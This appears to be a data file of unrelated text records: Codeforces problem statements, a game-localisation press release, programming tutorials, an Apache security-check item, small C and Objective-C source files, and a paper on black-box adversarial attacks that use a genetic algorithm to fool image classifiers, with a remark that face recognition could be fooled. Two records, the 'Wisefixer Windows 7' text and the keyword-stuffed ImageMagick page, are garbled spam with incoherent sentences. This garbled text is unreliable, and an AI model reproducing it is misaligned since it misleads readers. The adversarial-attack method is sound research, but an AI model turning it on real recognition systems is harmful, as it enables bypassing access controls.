{"text": "Alice has written a program and now tries to improve its readability. One of the ways to improve readability is to give sensible names to the variables, so now Alice wants to rename some variables in her program. In her IDE there is a command called \"massive refactoring\", which can replace names of many variable in just one run. To use it, Alice needs to select two strings $$$s$$$ and $$$t$$$ and after that for each variable the following algorithm is performed: if the variable's name contains $$$s$$$ as a substring, then the first (and only first) occurrence of $$$s$$$ is replaced with $$$t$$$. If the name doesn't contain $$$s$$$, then this variable's name stays the same.\n\nThe list of variables is known and for each variable both the initial name and the name Alice wants this variable change to are known. Moreover, for each variable the lengths of the initial name and the target name are equal (otherwise the alignment of the code could become broken). You need to perform renaming of all variables in exactly one run of the massive refactoring command or determine that it is impossible.", "source": "cpt_codeforces", "language": "en", "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "RALEIGH, N.C.– March 3, 2010 - XLOC, a leading provider of global localization solutions for video games, will be launching XLOC 4.0, the newest version of the company’s Web-based localization management product, at the Game Developers Conference (GDC) in San Francisco. The latest version of the localization system incorporates multiple enhancements, such as:\n• XLOC API for seamless integration of developers' tools and processes.\n• Robust translation memory features and support.\n• More than 200 file formats supported.\n• Extended and adaptable asset build features.\n• Increased historical data for translations.\n• Expanded Proto-type build capabilities.\n“Our core focus is to help our customers create high-quality localizations in less time and with lower cost than traditional methods. We continually update our solution to add features and elements that create a more valuable, streamlined and efficient localization process,” said Mason Deming, co-founder and chief technical officer of XLOC.“We are very excited to share these new capabilities with our current and future clients.”\nXLOC will be sponsoring the Game Localization Summit at GDC and team members will be available to talk with developers and producers about the new product. The President and CTO will also be giving onsite, technical demos and feature walk-throughs to select clients and partners.\nThe XLOC system was created based on industry experience, with the goal of continually enhancing its features to meet constantly evolving market needs, and offering utmost flexibility. XLOC offers a completely customizable management solution for integrating localization into game development to enable simultaneous global shipment. As developers provide their latest assets, XLOC dynamically synchronizes with these localized game resources, proactively generating current, changing asset lists and separating the translation effort from game asset format specifics. This process allows for asset updates to be seen in real-time by developers, translators and publishers, and expedites time to market.\nXLOC is the leading provider of global localization solutions for the international computer and video game industry with more than 30 years of production, programming and development experience. XLOC offers an organizational management system that streamlines localization processes and simplifies the integration of localization into the development cycle. This process saves game developers and publishers significant time and money, and allows them to ship their international SKUs simultaneously across multiple game platforms and languages to realize the full potential of the global marketplace. XLOC is compatible with all major 3D engine technologies and can be leveraged as a stand-alone product or be combined with XLOC’s consulting and support services. Titles built using XLOC include Call of Duty®: World at War; Guitar Hero: World Tour™ and NBA 2K9. To learn more, please visit www.xloc.com.\nContacts for XLOC\nClearImage (for XLOC)\n(919) 863-2393 ext. 223\nClearImage (for XLOC)\n(919) 863-2393 ext. 216", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 623, "token_count_with_eod": 624, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "In Chapter 14, you learned a bit about how JAX-RS fits in the grander scheme of things like Java EE and Spring. In this chapter, there are two similar examples that define the services illustrated in Chapter 2. The first marries JAX-RS with EJB. The second uses Spring to write our JAX-RS services. Instead of using in-memory maps like the earlier examples in the workbook, both examples use the Java Persistence API (JPA) to map Java objects to a relational database.\nThis example shows how you can use JAX-RS with EJB and JPA. It makes use of some of the integration code discussed in Chapter 14.\nTo implement ex14_1, the Wildfly 8.0 Application Server is used to deploy the example. Wildfly is the community version of the JBoss application server. It is Java EE 7–compliant, so JAX-RS 2.0 is already built in. As a result, our Maven pom.xml file needs to change a little to support this example. First, let’s look at the dependency changes in this build file:\nBecause JAX-RS 2.0 is built in, we do not have to add all the RESTEasy third-party dependencies to our WAR file. The\nprovided scope is used to tell Maven that the JAR dependencies are needed only for compilation and to not include them within the WAR.\nNext, we need to include a ...", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "If your head is dizzy with the myriad VS services and APIs, from EnvDTE to Shell.Interop, this should clarify a couple things.\nFirst a bit of background:\nAPIs on EnvDTE (DTE for short, since that’s the entry point service you request from the environment) was originally an API intended to be used by macros. It’s also called the automation API. Most of the time, this is a simplified API that is easier to work with, but which doesn’t expose 100% of what VS is capable of doing. It’s also kind of the “rookie” way of doing VS extensibility (VSX for short), since most hardcore VSX devs sooner or later realize that they need to make the leap to the “serious” APIs.\nThe “real” VSX APIs virtually always start with IVs, make heavy use of uint, ref/out parameters and HResults. These are the APIs that have been evolving for years and years, and there is a lot of COM baggage. ...", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 213, "token_count_with_eod": 214, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "You are given a string $$$s$$$ of length $$$n$$$, containing lowercase Latin letters.\n\nNext you will be given a positive integer $$$k$$$ and two arrays, $$$l$$$ and $$$r$$$ of length $$$k$$$.\n\nIt is guaranteed that the following conditions hold for these 2 arrays:\n\n- $$$l_1 = 1$$$;\n- $$$r_k = n$$$;\n- $$$l_i \\le r_i$$$, for each positive integer $$$i$$$ such that $$$1 \\le i \\le k$$$;\n- $$$l_i = r_{i-1}+1$$$, for each positive integer $$$i$$$ such that $$$2 \\le i \\le k$$$;\n\nNow you will be given a positive integer $$$q$$$ which represents the number of modifications you need to do on $$$s$$$.\n\nEach modification is defined with one positive integer $$$x$$$:\n\n- Find an index $$$i$$$ such that $$$l_i \\le x \\le r_i$$$ (notice that such $$$i$$$ is unique).\n- Let $$$a=\\min(x, r_i+l_i-x)$$$ and let $$$b=\\max(x, r_i+l_i-x)$$$.\n- Reverse the substring of $$$s$$$ from index $$$a$$$ to index $$$b$$$.\n\nReversing the substring $$$[a, b]$$$ of a string $$$s$$$ means to make $$$s$$$ equal to $$$s_1, s_2, \\dots, s_{a-1},\\ s_b, s_{b-1}, \\dots, s_{a+1}, s_a,\\ s_{b+1}, s_{b+2}, \\dots, s_{n-1}, s_n$$$.\n\nPrint $$$s$$$ after the last modification is finished.", "source": "cpt_codeforces", "language": "en", "token_count": 375, "token_count_with_eod": 376, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "There are $$$n$$$ points on the plane, $$$(x_1,y_1), (x_2,y_2), \\ldots, (x_n,y_n)$$$.\n\nYou need to place an isosceles triangle with two sides on the coordinate axis to cover all points (a point is covered if it lies inside the triangle or on the side of the triangle). Calculate the minimum length of the shorter side of the triangle.", "source": "cpt_codeforces", "language": "en", "token_count": 92, "token_count_with_eod": 93, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Wisefixer Windows 7\nIf you receive this error message, you can try to send your data to the Web master. Restarting the server can resolve the error. For more information please contact your provider services like AOL or Agava, Axia NetMedia, addressing things that caused the overloaded server. You will learn how to solve the problem on your own! We found this annoying dll error message when you run a Windows application or more? Try the application that has the problem to uninstall completely. Download, run the file from the original installation as an administrator of your system. Inspection and correction, and the error in the Device Manager, then need to first update / li, then downgrade/uninstall/li. An error message that tells you that an application is unresponsive, as if he had already discovered often is a first indication that something goes wrong. But this may be as a positive sign, because it, that means Windows error reporting in action. Windows error reporting is a feature that can report the problem to Microsoft information. (In fact, even if the programs that are in the Windows problem reports to see the functionality and service CalledWindows error, the term.)Microsoft provides this information for developers of Thatcaused program error (when Microsoft or another supplier), so that they develop the errors that occur frequently and finally to see more solutions to the problems. Windows error reporting has been simplified and improved in the latest versions of Windows. In Windows XP, the system mainly manual; was If an error occurred, they were prompted to send an error report to Microsoft. Through an error report when a Solutionhad is that it is a lengthy and frustrating process to see. In addition to improvements in the Windows error reporting Windows offers Applicationdevelopers to restart a number of integrated features and application, so please to Respondmore that hang it and crashes. An application with this functionality are written Probablyrespond a crash restart and open the document that you are working with. If you are using Microsoft Office 2007 or later you may already have seen these features of the recovery Startenund in action. In the course of time, you can expect to wisefixer windows 7 see more applications to these functions. Not all of the problems that can occur are catastrophic events such as this Causanlos, the Windows error reporting feature to intervene. To a variety of othertypes problems, big or small, Windows 7 contains a library of solving the problems of the participants. You see a list of them opening in the center of the action, if you click on troubleshooting. Immediately you solve Windows errors. .", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "The process ID (PID) file must be properly secured.\nThe PidFile directive sets the file path to the process ID file to which the server records the process id of the server, which is useful for sending a signal to the server process or for checking on the health of the process. If the PidFile is placed in a writable directory, other accounts could create a denial of service attack and prevent the server from starting by creating a PID file with the same name.\nModify the location, permissions, and/or ownership for the PID file folder.\nEnter the following command: more /usr/local/Apache2.2/conf/httpd.conf. Review the httpd.conf file and search for the following uncommented directive: PidFile Note the location and name of the PID file. If the PidFile directive is not found enabled in the conf file, use /logs as the directory containing the Scoreboard file. Verify the permissions and ownership on the folder containing the PID file. If any user accounts other than root, auditor, or the account used to run the web server have permission to, or ownership of, this folder, this is a finding. If the PID file is located in the web server DocumentRoot this is a finding.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 250, "token_count_with_eod": 251, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Mikko Wanzek is currently studying computer science at the undergraduate level, and plans to attend graduate school for computer science. Previously, he was an entrepreneur. He has interests in neuroscience, math, physics and computer science. He is also interested in neuromorphic chips and other next-generation processors. In his spare time, he enjoys bouldering, hiking and canyoneering.\nProject: Algorithmically Generating Complex Structures\nCellular automata use very simple rules and input, yet are able to produce a wide variety of complex structures resembling natural images. I tried to find other algorithms that could generate a wide variety of complex structures. Ultimately, I found cellular automata to be unbeatable at generating a wide variety of complex, natural-appearing structures.\nFavorite 3-Color 2D Totalistic Cellular Automaton\nI chose the 3-color 2D totalistic cellular automata with rule number 1134857631 simply because it had the most interesting appearance of the ones I looked at. It appears to have a large amount of randomness in the interior, and I like that the boundary is random.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 234, "token_count_with_eod": 235, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "You have a long stick, consisting of $$$m$$$ segments enumerated from $$$1$$$ to $$$m$$$. Each segment is $$$1$$$ centimeter long. Sadly, some segments are broken and need to be repaired.\n\nYou have an infinitely long repair tape. You want to cut some pieces from the tape and use them to cover all of the broken segments. To be precise, a piece of tape of integer length $$$t$$$ placed at some position $$$s$$$ will cover segments $$$s, s+1, \\ldots, s+t-1$$$.\n\nYou are allowed to cover non-broken segments; it is also possible that some pieces of tape will overlap.\n\nTime is money, so you want to cut at most $$$k$$$ continuous pieces of tape to cover all the broken segments. What is the minimum total length of these pieces?", "source": "cpt_codeforces", "language": "en", "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Little penguin Polo adores strings. But most of all he adores strings of length n.\n\nOne day he wanted to find a string that meets the following conditions:\n\n1. The string consists of n lowercase English letters (that is, the string's length equals n), exactly k of these letters are distinct.\n2. No two neighbouring letters of a string coincide; that is, if we represent a string as s = s1s2... sn, then the following inequality holds, si ≠ si + 1(1 ≤ i < n).\n3. Among all strings that meet points 1 and 2, the required string is lexicographically smallest.\n\nHelp him find such string or state that such string doesn't exist.\n\nString x = x1x2... xp is lexicographically less than string y = y1y2... yq, if either p < q and x1 = y1, x2 = y2, ... , xp = yp, or there is such number r (r < p, r < q), that x1 = y1, x2 = y2, ... , xr = yr and xr + 1 < yr + 1. The characters of the strings are compared by their ASCII codes.", "source": "cpt_codeforces", "language": "en", "token_count": 280, "token_count_with_eod": 281, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "You are given two strings $$$s$$$ and $$$t$$$, both consisting only of lowercase Latin letters.\n\nThe substring $$$s[l..r]$$$ is the string which is obtained by taking characters $$$s_l, s_{l + 1}, \\dots, s_r$$$ without changing the order.\n\nEach of the occurrences of string $$$a$$$ in a string $$$b$$$ is a position $$$i$$$ ($$$1 \\le i \\le |b| - |a| + 1$$$) such that $$$b[i..i + |a| - 1] = a$$$ ($$$|a|$$$ is the length of string $$$a$$$).\n\nYou are asked $$$q$$$ queries: for the $$$i$$$-th query you are required to calculate the number of occurrences of string $$$t$$$ in a substring $$$s[l_i..r_i]$$$.", "source": "cpt_codeforces", "language": "en", "token_count": 181, "token_count_with_eod": 182, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Thank you for taking the time to report this bug and helping to make\nI don't understand the problem you're reporting. Please could you\nprovide exact steps to reproduce this bug, explain exactly what\nbehaviour you're expecting, and what is happening instead?\nYou may find it helpful to read \"How to report bugs effectively\"\nOnce done, please change the bug status back to New.\n** Changed in: ldb (Ubuntu)\nStatus: New => Incomplete\nYou received this bug notification because you are a member of Ubuntu\nBugs, which is subscribed to Ubuntu.\nubuntu-bug: python-ldb-dev source package(aka ldb) problem\nTo manage notifications about this bug go to:\nubuntu-bugs mailing list", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 152, "token_count_with_eod": 153, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Character: radical 石, 14 strokes\nShí/dàn/shí, surname Shi, dry measure for grain equal to ten dou 斗/ten pecks/one hundred lite...\nchuí, to hang (down)/droop/dangle/bend down/hand down/bequeath/nearly/almost/to approa...\nTǔ/tǔ, Tu (ethnic group)/surname Tu, earth/dust/clay/local/indigenous/crude opium/unsop...\nrén, ninth of the ten Heavenly Stems 十天干[shí tiān gān]/ninth in order/letter \"I\" or R...\nShì/shì, surname Shi, member of the senior ministerial class (old)/scholar (old)/bachelor...\npiě, radical in Chinese characters (Kangxi radical 4)/see 撇[piě]\nLook up 硾 in other dictionaries\nPage generated in 0.000621 seconds\nIf you find this site useful, let me know!", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 225, "token_count_with_eod": 226, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Neural Network Adversarial Attack Method Based on Improved Genetic Algorithm\nThe choice of crossover and mutation strategies plays a crucial role in the search ability, convergence efficiency and precision of genetic algorithms. In this paper, a novel improved genetic algorithm is proposed by improving the crossover and mutation operation of the simple genetic algorithm, and it is verified by four test functions. Simulation results show that, comparing with three other mainstream swarm intelligence optimization algorithms, the algorithm can not only improve the global search ability, convergence efficiency and precision, but also increase the success rate of convergence to the optimal value under the same experimental conditions. Finally, the algorithm is applied to neural networks adversarial attacks. The applied results show that the method does not need the structure and parameter information inside the neural network model, and it can obtain the adversarial samples with high confidence in a brief time just by the classification and confidence information output from the neural network.READ FULL TEXT VIEW PDF\nNeural Network Adversarial Attack Method Based on Improved Genetic Algorithm\nIn real life, optimization problems such as shortest path, path planning, task scheduling, parameter tuning, etc. are becoming more and more complex and have complex features such as nonlinear, multi-constrained, high-dimensional, and discontinuous (Deng et al., 2021)\n. Although a series of artificial intelligence algorithms represented by deep learning can solve some optimization problems, they lack mathematical interpretability due to the existence of a large number of nonlinear functions and parameters inside their models, so they are difficult to be widely used in the field of information security. Traditional optimization algorithms and artificial intelligence algorithms can hardly solve complex optimization problems with high dimensionality and nonlinearity in the field of information security.\nTherefore, it is necessary to find an effective optimization algorithm to solve such problems. In this background, various swarm intelligence optimization algorithms have been proposed one after another, such as Particle Swarm Optimization(PSO)(Kennedy and Eberhart, 1995; Eberhart and Kennedy, 1995),Grey Wolf Optimizer(GWO)(Mirjalili et al., 2014), etc. Subsequently, a variety of improved optimization algorithms also have been proposed one after another. For example, the improved genetic algorithm for cloud environment task scheduling(Zhou et al., 2020), the improved genetic algorithm for flexible job shop scheduling(Zhang et al., 2020), the improved genetic algorithm for green fresh food logistics(Li et al., 2020), etc.\nHowever, these improved optimization algorithms are improved for domain-specific optimization problems, and there is no improvement on the precision, convergence efficiency and generalization of the algorithms themselves. In this paper, the crossover operator and mutation operator of the genetic algorithm are improved to improve the convergence efficiency and precision of the algorithm without affecting the effectiveness of the improved genetic algorithm on most of optimization problems. The effectiveness of the improved genetic algorithm is also verified through many comparison experiments and applications in the field of neural network adversarial attacks. The source code of this paper has been released on Github(Yang, 2021).\nGenetic Algorithm is a series of simulation evolutionary algorithms proposed byHolland and others (1975), and later summarized by DeJong, Goldberg and others. The general flowchart of Genetic Algorithm is shown in Figure 1. The Genetic Algorithm first encodes the problem, then calculates the fitness, then selects the parent and the mother by roulette, and finally generates the children with high fitness by crossover and mutation, and finally generates the individuals with high fitness after many iterations, which is the satisfied solution or optimal solution of the problem. Simple Genetic Algorithm (SGA) uses single-point crossover and simple mutation to embody information exchange between individuals and local search, and does not rely on gradient information, so SGA can find the global optimal solution.\nSzegedy et al. (2013) first demonstrated that a highly accurate deep neural network can be mislead to make a misclassification by adding a slight perturbation to an image that is imperceptible to the human eye, and also found that the robustness of deep neural networks can be improved by adversarial training. Such phenomena are far-reaching and have attracted many researchers in the area of adversarial attacks and deep learning security. Akhtar and Mian (2018)\nsurveyed 12 attack methods and 15 defense methods for neural networks adversarial attacks. The main attack methods are finding the minimum loss function additive term(Szegedy et al., 2013)\n, increasing the loss function of the classifier(Kurakin et al., 2016), the method of limiting the l_0 norm (Papernot et al., 2016), changing only one pixel value (Su et al., 2019), etc.\n. They used the Evolutionary Algorithm to generate high-confidence adversarial images by iterating over direct-encoded images and CPPN (Compositional Pattern-Producing Network) encoded images, respectively. They obtained high-confidence adversarial samples (fooling images) using the Evolutionary Algorithm on a LeNet model pre-trained on the MNIST dataset(LeCun, 1998)\nand on an AlexNet model pre-trained on the ILSVRC 2012 ImageNet dataset(Deng et al., 2009; Russakovsky et al., 2015), respectively.\nNeural network adversarial attacks are divided into black-box attacks and white-box attacks. Black-box attacks do not require the internal structure and parameters of the neural network, and the adversarial samples can be generated with optimization algorithms as long as the output classification and confidence information are known. The study of neural network adversarial attacks not only helps to understand the working principle of neural networks, but also increases the robustness of neural networks by training with adversarial samples.\nThis section improves the single-point crossover and simple mutation of SGA. The fitness function is used as the evaluation index of the crossover link, and the crossover points of the whole chromosome are traversed to improve the efficiency of the search for the best. Selective mutation is performed for each gene of the children’s chromosome, and the mutation rate of the latter half of the chromosome is set to twice that of the first half to improve the global search under the stable situation of local optimum.\nAs shown in algorithm 1 is the Python pseudocode for the improved crossover algorithm. The single-point crossover of SGA is to generate random number within the parental chromosome length range, and then intercept the first half of the father’s chromosome and the second half of the mother’s chromosome to cross-breed the children according to the generated random number. In this paper, the algorithm is improved by trying to cross genes within the parental chromosome length range one by one, calculating the fitness, and picking out the highest fitness children individuals. Experimental data show that such an improvement can reduce the number of iteration and speed up the convergence of fitness.\nAs shown in algorithm 2 is the pseudocode of the improved mutation algorithm. The simple mutation of SGA sets a relatively large mutation rate, and mutates any one gene of the incoming children’s chromosome when the generated random number is smaller than the mutation rate. In this paper, we improve the algorithm by setting a small mutation rate and then selectively mutating each gene of the incoming children’s chromosome. That is, when the generated random number is smaller than the mutation rate, the gene is mutated, and when the traversed gene position is larger than half of the chromosome length, the mutation rate is set to twice the original one (the second half of the gene has relatively less influence on the result). This ensures that the first half of the gene and the second half of the gene have equal chance of mutation respectively, and can mutate at the same time. When the gene length is , the mutation rate of the whole chromosome is , which greatly improves the species diversity and at the same time ensures the stability of the species (in the stable situation of the local optimum improves the global search ability), and experimental data show that it can improve the search ability.\nIn order to evaluate the optimization performance of the proposed improved genetic algorithm, four representative test functions from Wikipedia (2021) are selected in this paper. Since the proposed improved genetic algorithm is mainly used for the neural network adversarial attack problem, and the neural network has multi-dimensional parameters, the low-dimensional test functions are not selected. The expressions of the four test functions are shown in the formula (1)(2)(3)(4), the name, global minimum and search domain of the test functions are shown in Table 1, and the images of the corresponding test functions are shown in Figure 2.\n|Name||Global minimum||Search domain|\nThe hardware environment of the experiment includes 8G of RAM, i7-4700MQ CPU; the software environment includes Windows 10 system, and the version of Python is 3.8.8. In order to compare the optimization performance of IGA, SGA (Simple Genetic Algorithm), PSO (Particle Swarm Optimization) and GWO (Grey Wolf Optimizer) are selected as the experimental objects for comparison experiments in this paper. The parameters of the 4 optimization algorithms are shown in Table 2, and the population size and the number of iterations are kept the same for the convenience of comparison. The other parameters in PSO are as follows: , . The other parameters of GWO are set to typical values: , , .\n|Algorithm||Iteration||Population size||Gene length||Mutation rate|\nThe average convergence curves of each optimization algorithm tested 10 times with the four test functions under the conditions of the same experimental environment are shown in Figure 3. From the figure, it can be seen that: among the four tested functions, IGA is converged before the other three optimization algorithms, and the precision after convergence is better. As shown in Table 3, the comparison results of the four optimization algorithms after 101 iterations are shown. From the table, we can see that the convergence success rate of IGA in the condition with precision of 0.15 among the four test functions is\n. Two independent sample t-test were done using the formula (5), where and\nare the two samples’ variance;and are the two samples’ volume. The P value of the t-test in the table show that IGA performs as well as GWO in and , and far better than the other three optimization algorithms in . It is noteworthy that IGA has a very significant performance advantage in ; its performance in , where the gradient is less pronounced, is not as well as PSO, but is also much better than SGA and GWO.\nAs shown in Figure 4, the population distributions of the four optimization algorithms at the last iteration in the four test functions are shown. Among them, Figure 4(a)4(b)4(c)4(d) is the scatter plot of the distribution of all individuals for each optimization algorithm in 10 experiments, and the formula for the density is shown in (6), . Figure 4(e)4(f)4(g)4(h) shows the scatter plot of the distribution of the optimal individuals for each experiment, and the formula for calculating the intensity is shown in (7), . From the figure, we can see that the density of optimal individuals for each round of experimental IGA is better than the other three optimization algorithms, and also retains a strong global search capability in the last iteration. As shown in Figure 4(d)4(h), SGA, PSO and GWO fall into local optimum several times, among them, PSO has the population distribution near the local optimum in the last iteration, and the global search ability is weak because it does not have the function of adaptive variation.\nIn general, IGA has better iteration efficiency, global search capability, and convergence success rate than the other three optimization algorithms.\nThe MNST dataset (Mixed National Institute of Standards and Technology database)(LeCun, 1998)\nis one of the most well-known datasets in the field of machine learning and is used in applications from simple experiments to published paper research. It consists of handwritten digital images from 0-9. The MNIST image data is a single-channel grayscale map ofpixels, with each pixel taking values between 0 and 255, with 60,000 samples in the training set and 10,000 samples in the test set. The general usage of the MNIST dataset is to learn with the training set first and then use the learned model to measure how well the test set can be correctly classified (Yasue, 2018).\nAs shown in Figure 5(a)\n, the Deep Convolutional Neural Network (DCNN) pre-trained on the MNST dataset(LeCun, 1998) is used as the experimental object in this paper, and the accuracy of the model is with a Loss value of 0.9632. As shown in Figure 5(b), the model of network adversarial attack is shown. The number of populations of a specific size (set to 100 in this paper) is first generated and then input to the neural network to obtain the confidence of the specified labels. To reduce the computational expense, the input is reduced to a binary image of and the randomly generated binary image is iterated using the IGA proposed in this paper. Among the 100 individuals, the fathers and mothers with relatively high confidence are selected by roulette selection, and then the children are generated by using the improved crossover link in this paper, and the children form new population by improving the mutation link until the specified number of iterations. Finally, the individual with the highest confidence is picked from the 100 individuals, which is the binary image with the highest confidence after passing through the neural network.\nAs shown in Figure 6, the confidence after 99 iterations of DCNN is for sample ”2”. Sample ”6” and sample ”4” have the slowest convergence speed, and the confidence of sample ”6” is after 99 iterations, and the confidence of sample ”4” is after 99 iterations.\nThe statistics of the experimental results are shown in Table 4. The binary image of sample ”1” generated after 999 iterations has a confidence of after passing DCNN, which is much higher than the confidence of sample ”1” in the MNIST test set in the DCNN control group. In the statistics of the results after initializing the population with the MNIST test set, because the overall confidence of the population initialized with the test set is higher, the increase in confidence during iteration is smaller. The confidence of the sample selected from the MNIST test set is , and after 10 iterations the confidence of the sample is , and the number ”1” becomes vertical; after 89 iterations the confidence is , and the number ”1 ” has a tendency to ”decompose” gradually.\nAs shown in Figure 7\n, the reason for this situation is probably that the confidence as a function of the image input is a multi-peak function, and the interval in which the test set images are distributed is not the highest peak of the confidence function. This causes the initial population of the test set to ”stray” from some pixels in the images generated by the IGA.\nThe comparison and simulation experiments show that the improved method proposed in this paper is effective and greatly improves the convergence efficiency, global search ability and the convergence success rate. Applying IGA to the field of neural network adversarial attacks can also quickly obtain adversarial samples with high confidence, which is meaningful for the improvement of the robustness and security of neural network models.\nWith the widely application of artificial intelligence and deep learning in the field of computer vision, face recognition has outstanding performance in access control systems and payment systems, which require fast response to the input face image, but this has instead become a drawback to be hacked. For face recognition systems without in vivo detection, using the method in this paper only requires output labels and confidence information can obtain high confidence images quickly. In summary, neural networks have many pitfalls due to their uninterpretability and still need to be considered carefully for using in important areas.\n2009 IEEE conference on computer vision and pattern recognition, pp. 248–255. Cited by: §2.2.\nIEEE Transactions on Evolutionary Computation23 (5), pp. 828–841. Cited by: §2.2.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 3434, "token_count_with_eod": 3435, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "//\n//  HQDBHelper.h\n//  HQModelDemo\n//\n//  Created by 刘欢庆 on 2017/4/12.\n//  Copyright © 2017年 刘欢庆. All rights reserved.\n//\n\n#import <Foundation/Foundation.h>\n#import <FMDB/FMDB.h>\n#if DEBUG\n#define HQLogError(frmt, ...) NSLog(@\"❌[%@:%@ %d]  %@ \\n\", \\\n[[NSString stringWithUTF8String:__FILE__] lastPathComponent],   \\\nNSStringFromSelector(_cmd), \\\n__LINE__,   \\\n[NSString stringWithFormat:(frmt), ##__VA_ARGS__])\n\n#define HQLogInfo(frmt, ...) NSLog(@\"✅[%@:%@ %d]  %@ \\n\", \\\n[[NSString stringWithUTF8String:__FILE__] lastPathComponent],   \\\nNSStringFromSelector(_cmd), \\\n__LINE__,   \\\n[NSString stringWithFormat:(frmt), ##__VA_ARGS__])\n\n#else\n\n#define HQLogError(frmt, ...)\n#define HQLogInfo(frmt, ...)\n#endif\n\n@interface HQDBHelper : NSObject\n+ (FMDatabaseQueue *)queueWithClass:(Class)cls;\n@end", "source": "cpt_stack_code", "language": "code", "token_count": 261, "token_count_with_eod": 262, "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "/**\n * @file\thttpUtil.c\n * @brief\tHTTP Server Utilities\t\n * @version 1.0\n * @date\t2014/07/15\n * @par Revision\n *\t\t\t2014/07/15 - 1.0 Release\n * @author\t\n * \\n\\n @par Copyright (C) 1998 - 2014 WIZnet. All rights reserved.\n */\n\n#include <stdio.h>\n#include <string.h>\n#include <stdlib.h>\n#include \"httpUtil.h\"\n\nuint8_t http_get_cgi_handler(uint8_t * uri_name, uint8_t * buf, uint32_t * file_len)\n{\n\tuint8_t ret = HTTP_OK;\n\tuint16_t len = 0;\n\n\tif(predefined_get_cgi_processor(uri_name, buf, &len))\n\t{\n\t\t;\n\t}\n\telse if(strcmp((const char *)uri_name, \"example.cgi\") == 0)\n\t{\n\t\t// To do\n\t\t;\n\t}\n\telse\n\t{\n\t\t// CGI file not found\n\t\tret = HTTP_FAILED;\n\t}\n\n\tif(ret)\t*file_len = len;\n\treturn ret;\n}\n\nuint8_t http_post_cgi_handler(uint8_t * uri_name, st_http_request * p_http_request, uint8_t * buf, uint32_t * file_len)\n{\n\tuint8_t ret = HTTP_OK;\n\tuint16_t len = 0;\n\tuint8_t val = 0;\n\n\tif(predefined_set_cgi_processor(uri_name, p_http_request->URI, buf, &len))\n\t{\n\t\t;\n\t}\n\telse if(strcmp((const char *)uri_name, \"example.cgi\") == 0)\n\t{\n\t\t// To do\n\t\tval = 1;\n\t\tlen = sprintf((char *)buf, \"%d\", val);\n\t}\n\telse\n\t{\n\t\t// CGI file not found\n\t\tret = HTTP_FAILED;\n\t}\n\n\tif(ret)\t*file_len = len;\n\treturn ret;\n}", "source": "cpt_stack_code", "language": "code", "token_count": 470, "token_count_with_eod": 471, "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "Hi all! Running into an interesting problem where npm packages aren't being installed because the they are skipped. Looks like it has detected the package as already installed. Thought it was related to this issue: redguide/nodejs#50\nBut doesn't seem to be related because there are zero users that have the package installed. Any tips?", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "ImageMagick Compression Commands. Raw. // Must install ImageMagick first. //This compresses a. GitHub is where people build software. More than 28 million people use GitHub to discover, fork, and contribute to over 85 million projects. 25 Jun ImageMagick provides a fast, simple way to automate image resizing. .. PNG compression in ImageMagick can be configured with three.\n|Published (Last):||19 June 2013|\n|PDF File Size:||20.54 Mb|\n|ePub File Size:||14.69 Mb|\n|Price:||Free* [*Free Regsitration Required]|\nThis option enhances the intensity differences between the lighter and darker elements of the image. See -contrast-stretch for more details. A value of either 0 or results in a complete degree rotation of the image. Print a list of supported imagemagick compress for various options or settings.\nImzgemagick still the simple process of opening the image and saving it is something that just takes too imagemagick compress time. Note imagemagick compress at this time the same threshold dithering map is used imagemagick compress all color channels, no attempt is made to offset or rotate the map for different channels is made, to create an offset printing effect.\nIf more that the required number of coordinate pairs are given for a distortion, the distortion method is ‘least ckmpress fitted to produce the best result for all the coordinate pairs given.\nThe reason that we get a dual output result is because the frequency domain represents iagemagick image using complex numbers, which cannot be imagemagick compress directly. To ensure that it can do this it also ensures that the image has an alpha channel enabled, as per ” -alpha set “, for the imagemagick compress transparent colors, and does not require you to modify the -channel to enable immagemagick channel handling. Essentially -splice imagemagick compress divide the image into four quadrants, separating them by the inserted rows and columns.\nSave time by transforming images in the command line\nLarge dots can be made to look better with a small amount of blurring after being created. It is possible imagemagick compress add -fuzz to make the trim more strict. All points are floating point values. Perform various imagemagick compress operation methods to a ordered sequence imagemagick compress images which may represent either a set of overlaid ‘image layers’, a GIF disposal animation, or a fully-‘coalesced’ animation sequence.\nImages with fewer unique colors than specified by value will have any duplicate or unused colors removed.\nimage processing – Recommendation for compressing JPG files with ImageMagick – Stack Overflow\nUse gamma correction to adjust for this color difference. The frames argument determine how many images to interpolate between each image. As such some colors may be merged together when they originally fell into the same ‘bin’. For example, assume you have a web imagenagick that processes images comprees imagemagick compress the Internet. That is how to determine the color of a point that falls between two, or even four different colored pixels.\nA value of means no change, and any missing values are imagemagick compress to mean This can be used either for ‘super-sampling’ the image for a higher quality result, or for panning and zooming around the image with appropriate viewport changes, or imagemagick compress cropping and resizing.\nIt is equivalent to using the -gravity command-line option, except that it is imagemagick compress in scope to the -draw option in which it appears. ImageMagick uses standard filename globbing, so wildcard expressions may be used to remove more than one profile.\nUse image to composite an image with another image. The process accumulates 